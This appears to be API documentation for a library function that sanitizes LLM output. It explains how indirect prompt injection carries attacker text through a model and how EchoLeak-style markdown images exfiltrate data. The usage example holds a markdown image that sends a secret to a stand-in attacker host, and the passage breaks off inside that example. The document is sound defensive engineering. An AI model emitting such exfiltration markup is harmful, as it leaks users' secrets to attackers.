AI Output Handling

Treats LLM output as untrusted, attacker-influenceable data before it reaches a browser, a downstream fetcher, a SQL / command sink, or a log. The input gate (b.ai.input.classify) defends the prompt going in; this defends the model's response coming out. OWASP LLM05:2025 (Improper Output Handling) and LLM02:2025 (Sensitive Information Disclosure). Under RAG / tool / agentic contexts indirect prompt injection (OWASP LLM01:2025) routes attacker text from a retrieved document or web page THROUGH the model and out into the response, so a "trusted" model is still an attacker-controlled channel — output handling is defense in depth that never assumes the input gate caught everything.

sanitize(text, opts) neutralizes active markup via b.guardHtml, gates every markdown image / link and HTML src / href URL through b.safeUrl + b.ssrfGuard (the EchoLeak markdown-image exfiltration class, CVE-2025-32711), and FLAGS SQL- / command-shaped fragments rather than silently repairing them. redact(text, opts) strips PII and secret disclosures via b.redact's detector chain plus an entity-selectable pass. Both treat the model response as hostile by default; sanitize is best-effort per the guard-family KIND discipline (refuse / flag over repair for executable sinks).

b.ai.output.sanitize(text, opts?) #

{
  maxBytes:     number,       // default 64 KiB; throws on overflow
  htmlProfile:  string,       // b.guardHtml profile; default "strict"
  sqlShape:     boolean,      // flag SQL-shaped fragments; default true
  commandShape: boolean,      // flag command-shaped fragments; default true
  audit:        boolean,      // default true; emit aioutput.sanitize on non-clean
  errorClass:   ErrorClass,   // override the thrown class on bad input
}

Treat an LLM response as untrusted output and neutralize the four sink-injection classes before it is rendered, fetched, or executed. Active markup (script / event-handlers / dangerous URL schemes) is stripped via b.guardHtml.sanitize; every markdown image / link and HTML src / href URL is gated through b.safeUrl.parse (scheme + credential) and b.ssrfGuard.classify (IP-range), so auto-fetch URLs to attacker or internal / cloud-metadata hosts are neutralized — the EchoLeak zero-click markdown-image exfiltration class ([CVE-2025-32711](https://nvd.nist.gov/vuln/detail/CVE-2025-32711), CVSS 9.3). SQL- and command-shaped fragments are FLAGGED, never repaired (a sanitized-but-executed query is a false sense of safety — sanitize is best-effort per the guard-family discipline). Returns { text, verdict, signals, features } where text is the sanitized output, verdict is clean / sanitized / flagged, and signals lists each neutralization or flag. OWASP LLM05:2025.

var out = b.ai.output.sanitize(
  "Here you go ![x](https://attacker.tld/?s=SECRET) ");
out.verdict;                                   // → "sanitized"
out.text.indexOf("